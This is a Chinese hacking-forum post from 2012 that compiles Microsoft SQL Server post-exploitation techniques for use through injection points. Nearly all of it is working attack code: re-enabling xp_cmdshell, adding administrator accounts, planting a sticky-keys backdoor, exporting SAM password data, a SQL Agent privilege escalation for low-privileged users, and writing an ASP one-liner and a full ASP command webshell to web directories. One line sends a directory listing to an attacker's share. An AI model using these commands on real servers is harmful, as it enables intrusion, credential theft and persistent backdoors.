找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; X, L$ f4 _6 g& U恢复方法:查询分离器连接后,
0 w6 p: T" O4 e, b第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 0 \4 A$ H* d. P
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" ^! z1 T4 `9 N( Z8 k- f然后按F5键命令执行完毕& O, b% e, z% ~8 T# y& L

% u7 `) ?0 t3 G5 u# V! V2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
. G7 r3 f0 u2 e4 v恢复方法:查询分离器连接后,
  P9 k/ r5 `) [' E2 N3 Z, \第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
( V# i& k8 ~% n0 [2 U: i/ O第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 N' I' Y" L- b然后按F5键命令执行完毕
0 p* Z4 T0 H+ _3 ~2 O3 V
$ D" [% w" ~: G2 s3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)) u0 ?9 v/ O! a. {6 b4 g+ c
恢复方法:查询分离器连接后,4 e8 N' s- a: {- O
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'0 p. D5 f) l. F* x
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ) Y/ N+ f( \. R: w
然后按F5键命令执行完毕' e. ?+ n( R7 m& {
% J! d. l4 l# d; a
4 终极方法., ^5 ~( J. n( Z8 G; f* ^+ O: S. M- A
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
* m- h2 W  V0 E查询分离器连接后,1 Q5 G- u( z) J3 P# [- {
2000servser系统:
8 e+ Z: p& f& B2 R: ^declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
" h( A* p* k4 e) P+ ^" @7 Q
3 ]& E6 G% p- ^/ S$ u- |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
* C" T0 R" ~- w: i( s$ T; }! A/ f4 B( d: C- G: X
xp或2003server系统:
1 d6 f2 g7 w( E" Q8 q2 a9 A1 U# K  j6 p4 D' ?& R
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'9 \, ?" C) C+ B9 k: O9 |& T) M) h
8 m6 |0 o) @  B' [2 @& K$ J( b6 G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 N) D. U; B' }) U# W* \1 i8 `
# ~  i% I# t4 b3 g+ T& G: A

: X, {, n: H9 ]6 h五个SHIFT% ^/ ?6 f' `. |4 Z
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';4 J) ^4 q& Z% a; d7 i, \$ G7 L

2 U. H* `9 J! x/ |3 b- z: G8 M2 Rdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';   u  ^, Q7 y$ H2 v
; [. H, f  G+ l7 r6 Z1 M  l
xp_cmdshell执行命令另一种方法
9 U- B7 A  p4 F0 j* c5 |# Bdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 0 ^2 V0 A8 j1 a$ t

/ I" F7 _5 O* d* }: B判断存储扩展是否存在
0 u$ c6 [/ M- u0 {/ P4 @# ]Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'- H- ~6 d$ A* u9 p6 C' a7 \
返回结果为1就OK$ G: L! x9 O+ _1 U: O

$ h# K8 S' ?8 z, O9 l* \: D9 O% _3 P6 X! Q4 B1 I, a; R
上传xplog70.dll恢复xp_cmdshell语句:2 d% P, s1 w  U' D
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'* a4 B- N: \  I% d5 W: a! v

" p$ P1 ~2 `; `: J0 v2 @否则上传xplog7.0.dll" b, Y0 g9 c! k5 t- p
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
% [% e5 m+ K2 _5 F; V. ^7 D5 e0 A9 [
$ Q. s1 F! [3 ^: v. Z: t' B* q. L, m

, v  t2 }, a9 I8 u: p/ z8 p+ E首先开启沙盘模式:
6 K3 v7 y: v3 Y2 J0 u. a( f6 s8 Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* V9 {- p: m; v* v" v4 g$ ~. o- B

6 _- r  p" G# [. O1 F3 U6 f7 f9 o然后利用jet.oledb执行系统命令
8 k" N" p+ d+ \# j' ^8 z9 r% kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')0 f0 x! j$ M' J$ Q$ B
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了; J# a8 R! K7 }. h9 @
5 x8 j3 P) v, }9 ~: j

2 n& m4 D6 ~  u+ Y6 h3 S) K: a/ g
/ ~( O: M( p1 T5 @7 i恢复过程sp_addextendedproc 如下: / V2 Q( B' e6 p" C' _8 t5 N
create procedure sp_addextendedproc --- 1996/08/30 20:13
+ h; I- r. u/ d( M$ c@functname nvarchar(517),/* (owner.)name of function to call */
7 ?0 q2 U9 T# @2 y( F@dllname varchar(255)/* name of DLL containing function */
! E% R% [2 h: H, ]2 [as ) c4 m# U  P4 ~; v2 m' O+ c
set implicit_transactions off
9 W, v+ h" e) m) Dif @@trancount > 0 5 P% B3 o" {0 u$ B/ Q
begin
5 c/ i$ v/ p9 F) L& ]raiserror(15002,-1,-1,'sp_addextendedproc') 4 K9 b+ g1 P. G; [8 t" [2 _
return (1) . R, X' {9 b4 v/ m) [
end
8 U( e' x0 _( W7 idbcc addextendedproc( @functname, @dllname) - a4 `$ i# ~' E! d# |( [& E
return (0) -- sp_addextendedproc # N3 N" c$ @+ C/ k  Y
GO : Q  X& ^1 j5 e4 G

# p1 v/ ]9 \: k6 u/ v5 y% Y, {4 e/ M# _6 {9 Y

' D& ^9 j' b, P" t导出管理员密码文件
; ]8 z" X& h- z: M, Hsa默认可以读sam键.应该。
! Y8 Z6 w' B9 Ireg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg9 A. z$ ~0 R7 \
net user administrator test
/ a9 M0 c9 e# {4 V8 |用administrator登陆.& y& x& D. u+ e: s/ T
用完机器后! U9 w7 y( E! D9 }- r
reg import c:\test.reg
6 ]7 T2 d: l1 c- ?3 ], V" ~4 I根本不用克隆.
( [. S: Q& B( w+ x  U9 I# s! o找到对应的sid.
% e* N* h' K& d$ ^  p3 y* f0 Y8 @+ ^
# f2 T9 Y8 `1 `% z0 Z1 C
0 q: ^6 c: Y! o) e- S( ]* x
  N2 N1 Y" p; m& ], `/ H3 v4 m) n# }恢复所有存储过程
3 @& g1 K. |+ H* nuse master
% p1 L$ w3 n( d8 wexec sp_addextendedproc xp_enumgroups,'xplog70.dll' " M( W9 c9 ~4 x, ?4 ^# i) ^
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' & C% }! e$ q8 D$ }4 F# {
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
- a* @( E# @* o; X; q9 Z& dexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
% P: B0 W% Q! \! C8 Bexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
7 M, R  u% U3 |" n) Rexec sp_addextendedproc sp_OACreate,'odsole70.dll'
+ X. W( G2 u/ ~! Z* J. _3 N6 r* fexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
8 H& n% ?& b0 v- W6 n" p- }exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' & o, v; t% M! c
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
; @3 \8 ~( N9 L9 A& `  Fexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
; I; Q+ h, W, e7 O3 wexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' . i3 `6 r( Q+ W( h# y
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
( B! d+ |" w6 l3 e; ~exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 5 I% p$ Z4 E- k2 |
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
' a& m( ]* Q! U' W7 k% {exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ! ~+ `3 I; e0 R) P0 K( [$ ]
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
8 J( _( b; C: Q3 v5 u/ v* \exec sp_addextendedproc xp_regread,'xpstar.dll' 5 E# N6 Z) D: Q- z. }# k2 p
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
( L' v( ~( Y! O7 U5 V9 m/ jexec sp_addextendedproc xp_regwrite,'xpstar.dll'
& D' @9 k/ q" @& O* |. r1 @0 X5 k' Mexec sp_addextendedproc xp_availablemedia,'xpstar.dll'5 @" f7 ^: p/ e8 f0 X3 C( z

# t) t  ?/ y& }; v% s- u' }) ^) b- R; |
建立读文件的存储过程
# d& _' D( v4 r4 GCreate proc sp_readTextFile @filename sysname
5 G0 r- s1 z3 Y& O1 S2 h8 Y( Xas
- i+ f" F& A( b" m, [$ ]6 y' j" f+ |2 m, i8 A8 I" w
    begin 5 u5 i1 N- }! R" T$ h
    set nocount on " `: z) x' [$ |4 N, ~2 k" F! q
    Create table #tempfile (line varchar(8000))
! f4 D' L; L4 _. n& q" _/ q    exec ('bulk insert #tempfile from "' + @filename + '"')
# E3 s* J/ s0 h( O: [7 c3 @    select * from #tempfile5 J* Y0 r4 }/ p6 r. v5 _
    drop table #tempfile
- H+ K8 f( Q# V# ^* [End
6 ?' z" C* U8 s) n  U4 S" W5 L/ w2 @, h3 Z* T: p+ }' H7 M" ?) g
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件, o7 o+ J+ Q% s( P
查看登录用户+ B: g# [, d2 ?  Z6 ~* T
Select * from sysxlogins
5 E/ r' v$ w; m. \" q9 A' z5 D$ n0 X( a9 {
把文件内容读取到表中$ l6 s0 v0 O* s9 g( w
BULK INSERT tmp from "c:\test.txt"
3 z2 ?6 q9 |8 l4 V- b: gdElete from 表名 清理表里的内容
9 O  w! B+ ]# V0 n) G# N' E5 Fcreate table b_test(fn nvarchar(4000));建一个表,字段为fn2 X+ s1 f% U: A% P8 N6 t

; A+ T! f" i; G7 A; x  l+ b" z  a6 F& E7 g. U% a- L% m! ~
加sa用户) M" c! R2 I, Y# P% f% `
exec master.dbo.sp_addlogin user,pass;
1 `& P1 J8 W* |4 k- ^9 _exec master.dbo.sp_addsrvrolemember user,sysadmin7 C! w+ A4 m: q( F

8 X# {; s3 b: X7 E, X- l0 @$ N0 Z; c
( L3 v% `/ y' A8 @. o2 k+ {
读文件代码4 I+ r  p. Y. E" Z- Q0 Y2 F
declare @o int, @f int, @t int, @ret int7 X+ Y5 o( C1 H! A8 _
declare @line varchar(8000), v$ b% c6 r* c# A! x* b
exec sp_oacreate 'scripting.filesystemobject', @o out
% Y1 j( w- B6 h4 C% J/ Kexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
" T* g! g% c8 y8 Z3 h) uexec @ret = sp_oamethod @f, 'readline', @line out
/ k0 u, e+ `. [* U9 f" a% A) swhile( @ret = 0 )
( Y3 n! ~, ?1 {4 Y. a8 ?begin1 W6 q! r1 L2 @, ~* F
print @line
4 u4 t4 u1 p# I1 i# p' d8 Uexec @ret = sp_oamethod @f, 'readline', @line out5 v* [* B- y2 y  }5 h; r6 v
end
' r% a% Y+ y( `; F, P$ F7 h9 Q, A6 O9 M" U3 D( M

; |1 G- ]% W: |3 U3 ~写文件代码:& D9 O3 U1 h% X/ y- _
declare @o int, @f int, @t int, @ret int
8 u! E( ^5 a* p3 _7 l( X; Texec sp_oacreate 'scripting.filesystemobject', @o out- H! f' [5 [+ y3 R8 j# r9 r
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1$ B* x) I8 N% A$ N
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
7 Y" N6 d7 S5 J
# X+ N  g8 @" z0 s% ^* P+ D4 D" g2 T9 ^. b' m# l' S2 \6 |) W% s
添加lake2 shell8 D# m% R& P* y6 R* D9 t" O
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'+ V6 C% x3 ~5 Y6 p5 i
sp_dropextendedproc xp_lake2: _( x% \- U2 a8 a+ h+ o
EXEC xp_lake2 'net user'6 P* Y3 N5 z4 D0 h

0 \2 j* Y( }% N' ?9 g  t/ ^, o% a  _/ u3 y& x% T) ?
得到硬盘文件信息 " O: c& ?- S$ q) A
--参数说明:目录名,目录深度,是否显示文件 7 z( }7 _, i! i" v5 j  Y
execute master..xp_dirtree 'c:' 1 D3 c. G0 [% F
execute master..xp_dirtree 'c:',1
' @, D+ {- e. g& L/ f) R( yexecute master..xp_dirtree 'c:',1,1 ' r; v. @% b' [& a! }" W# l' K- {
5 j" g" m  U% |1 Q1 B
0 B) X$ _; f- G5 @3 T7 s3 O1 r3 c/ _$ K
读serv-u配置信息* p9 x4 y+ Z) F7 {2 n( z
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
% N1 W8 B( u7 J: sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', V. m2 `9 M0 E" Q9 ^0 \

0 \- b6 z% X! ^$ q) U( M7 E通过xp_regwrite写SHIFT后门1 {$ S& {' y. }6 ]/ v* T! H9 ^
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
4 Z/ Q3 I, u% q5 i" Q
4 w+ I- y) {: _1 c
4 b! M4 I# r) W3 {/ P* d
% z1 }) X3 h4 Z  m: `找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
: A0 h1 _% Y! }# V$ Q0 H  Oexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了' q: |$ n7 C7 i* E+ a( E0 J- a/ Z
, }3 I( M; N# x2 R
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
) \$ b3 h$ r6 {: ?0 c
, W; ?1 Q/ e0 z0 b
6 U; g. {; Y) r# n/ i& b, h  k3 O! [3 P& P
sql server 2005下开启xp_cmdshell的办法
" W9 T1 d3 M0 ^  Z6 }5 f1 D5 J6 f! ]+ I7 b  {( q- G
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;# @& N# `1 q- O9 R5 z8 `$ V
: Y0 Z# V" a6 Z( p" m
SQL2005开启'OPENROWSET'支持的方法:) c+ h9 ], A7 ?9 F9 d. [2 K
7 A) Z1 z7 O* m7 E
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;, F1 }1 a( P$ e% r: R- p7 G' {
" }; z# o7 c% R- W5 D
SQL2005开启'sp_oacreate'支持的方法:1 T3 A( j( x' y# @7 i) ~

% `/ _8 V1 Q6 l5 K+ a& q5 sexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
* `) e+ b, q4 r! q) v. ]
9 W, q3 o4 J; j! P4 D8 b4 X# d8 h2 n6 U  T4 Y9 D) @0 u, r

  @& g7 K: u7 \/ j. J" v
: y( Y+ \5 e) g" X7 Y  l3 u3 u+ X! O

$ M+ Q$ @% S6 }' L" N, ]0 i
. e) `1 M" u1 ~5 S5 @6 J! C8 s8 T: U; u8 v$ L$ l9 d8 N9 z" ^

( t& K) r  `% i/ r6 Q/ z# ?, o& {# @7 S+ u- L/ N; s, Z5 {' q
. A7 t9 Z# Z8 v0 }) E4 O) h
, A. o" C* w$ s% W/ ?1 R* y; t, O

$ E+ z# `4 I( l- b8 N, N7 P* [
: D. ?: y/ ^7 {) @$ M2 ^) V3 [; {4 ~2 ^- w
% F3 J8 }- n" q" n$ e6 [

0 \/ K, \: s' [- c5 ^  H" |& \5 X: q( h0 k" o7 F

$ e8 W  |3 y+ t& q8 s
5 W, f" O& E, E  r; ^
+ |- c0 Y# \( P8 m, g' Z% C' w0 u* F* @* Z: v- v/ m

( }0 R8 B) h7 n' A! a: W* ?& `9 F6 {, |
以下方面不知道能不能成功暂且留下研究哈:( p; J" d$ _' U3 z" G8 n5 g$ V8 |+ F' U
4)
6 R# \; l1 Z6 r  T7 Tuse msdb; --这儿不要是master哟( c, w0 O- V+ H+ Y& Z, b( M0 P
exec sp_add_job @job_name= czy82 ;2 h. F8 F) g7 q
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
, ?! Y4 i" z0 s3 aexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# C# [6 {. W6 D8 a' Oexec sp_start_job @job_name= czy82 ;9 _; e' g, e8 a- @0 I2 t
: U2 B& L/ j9 P
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
6 N9 T1 N& ^+ W) C* ?9 q执行tsql语句了.
5 K; K. W  w4 ~4 R& d% }) O* D对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名! y1 V, d0 D7 R0 k9 T+ t; |9 Z0 T
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)" \, S% ^# V- V' z" w, M( y# D
net start SQLSERVERAGENT
0 y$ \  `3 ?( I2 z8 [$ s, U8 X3 y0 D$ `' ~* R
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
# i7 C* t1 L) N5 Z2 A" k6 iUSE msdb
3 l% B" J! K! r* nEXEC sp_add_job @job_name = GetSystemOnSQL ,6 V* E* U# a2 t) d# B, s$ a3 M% T
@enabled = 1,
9 K, \$ S: l5 o) U* @( W@description = This will give a low privileged user access to# t3 L- Y- _9 B. k; y& f' c9 L
xp_cmdshell ,
, `* G" w* }' {" {& j: P@delete_level = 1' G5 N5 H! X) X7 I1 W' M1 s- x
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,/ k9 `. C; y. v, D- O! r
@step_name = Exec my sql ,! x. m+ `0 _1 _. H
@subsystem = TSQL ,) L; u1 O1 s) c" n
@command = exec master..xp_execresultset N select exec
- y3 a& f. m1 I9 cmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master / ?" w4 D7 ?  k* {+ ^- P
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
7 a8 C$ i0 E9 A( R" b3 S2 V; `@server_name = 你的SQL的服务器名 : I' l& x3 n/ C! n7 O
EXEC sp_start_job @job_name = GetSystemOnSQL ) P( w' s4 M5 Q) C. A
( e( q, j( T# ?# f
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
7 u8 g5 z( g3 i+ [/ ?才让我们可以以public执行xp_cmdshell( }5 o, ^$ @2 {1 N5 t/ K! E+ l1 M

; ~+ y6 y5 N) _' F5 N4 o1 l+ `" i4 n5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)2 O; @2 F( q4 X4 a( X
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968/ m0 I; L0 j8 e
: p# @. B7 v" Y
USE msdb
- M  d0 x- z1 t' U+ y' ]EXEC sp_add_job @job_name = ArbitraryFilecreate ,
1 r/ c) j' D3 M& R4 Q@enabled = 1,
" F5 g6 W& A+ c. ]$ L@description = This will create a file called c:\sqlafc123.txt ,
5 i: `; P: T9 ?" K@delete_level = 1
2 p2 |3 W# T3 V% a  _0 kEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,: f& ?/ \+ W8 p* a' K: o- o
@step_name = SQLAFC ,
+ m. I# T% O, t  ^4 O@subsystem = TSQL ,
; G$ x# S3 K& p@command = select hello, this file was created by the SQL Agent. ,
! i' T, x& d. ^$ D/ F% k* @@output_file_name = c:\sqlafc123.txt - }% K1 |* A, m
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
; S  z1 u0 ?2 a; G- b4 G0 G@server_name = SERVER_NAME
) {, V2 f' Z9 E7 Z8 |: z9 MEXEC sp_start_job @job_name = ArbitraryFilecreate
  r9 L9 V1 R+ }) h6 \/ d5 W: N0 j4 Q; Q% Y% p, w
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
. b; O3 L8 l# V( [0 _; Y7 M
' [% M% t# L/ c# n2 b??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
" i! E! }5 k- G1 J2 l4 M' K----------------------------------------------
; T2 |! x' b( u. w1 G% z* p7 ~; `hello, this file was created by the SQL Agent.  d* c- W: R+ y  e" ?

+ M+ a1 n2 |( A2 [/ D3 S(1 ?????)
2 R4 O( |6 R6 y  z( ^6 W! j' |5 R' m
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员7 J, M) x1 A  v9 u% H9 _5 h
命令的vbs文件到启动目录!
) c6 K& V4 }/ G: k& [' X. i; \: E+ r
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
$ ^; \  H$ k" i" A) w& d关于sp_MScopyscriptfile 看下面的例子6 v# p- |8 a! b6 g" h. R' M7 I9 i
declare @command varchar(100) ! V( F9 b6 V) M# _- e6 u7 X
declare @scripfile varchar(200)
7 r" H. r  `/ a' K  I3 wset concat_null_yields_null off
8 O/ e! Z5 A% h8 a2 @select @command= dir c:\ > "\\attackerip\share\dir.txt"
3 _4 d' V0 @% p3 N6 Eselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
- d6 G0 l: R5 l, eexec sp_MScopyscriptfile @scripfile ,
( u% e/ J3 j6 n8 t5 y5 Y+ d; m. L
这两个东东都还在测试试哟/ ?8 m( ^; E0 ?
让MSSQL的public用户得到一个本机的web shell
5 _7 o3 k6 Y# @  C$ t# x* ^: `' y: a( w% W0 X+ M* B6 X
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,2 |( j2 Y1 e2 s+ U* e& |
--@query= select <img src=vbscript:msgbox(now())>
3 E9 `0 \3 h2 T& K7 H7 W6 t--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
) ?" _8 }% h8 ]- c8 v@query= select ! Z0 B4 p1 _0 ]; U
<%On Error Resume Next 6 M+ r5 S: P- t9 Z# W0 L
Set oscript = Server.createObject("wscript.SHELL") & B! t, k1 g  R6 R' G
Set oscriptNet = Server.createObject("wscript.NETWORK")
: ~. [, g8 |3 g, v& ESet oFileSys = Server.createObject("scripting.FileSystemObject") # c1 ?: W4 e" e" T( A
szCMD = Request.Form(".CMD")
: Z) t  N8 t) c# ^" r8 vIf (szCMD <>"")Then ' _; v* u: [9 ?# y& f
szTempFile = "C:\" & oFileSys.GetTempName() 8 s; P8 y$ m& e- u. [0 J4 Y* B0 B
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
3 D1 x0 o) [/ k& G) }; U5 ZSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ! V& p+ t$ F! [% ~
End If %>
  z, P( H6 U; f& S9 D: u. {* S6 `8 S<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 6 L* N0 L2 d, M2 s
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ) L+ s# P! B) R9 p2 u1 N8 u  I
</FORM><RE> * H# b2 S8 [; j- x7 K+ E9 X; h/ M
<% If (IsObject(oFile))Then
% Y+ n5 o4 b* q4 FOn Error Resume Next
' f4 Z# b* F- q9 c' J' FResponse.Write Server.HTMLEncode(oFile.ReadAll)
: G4 R. a6 B* W0 l/ @4 yoFile.Close
5 A% @4 G, I7 A. l. f7 ZCall oFileSys.deleteFile(szTempFile, True)
5 M' X% _& a6 X3 ?' E5 v2 w! I# s9 KEnd If%>
: S2 U/ X, o! b' A) [</BODY></HTML>
' ?  p! J7 j# s  x' O- _& z4 ?$ F0 d+ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表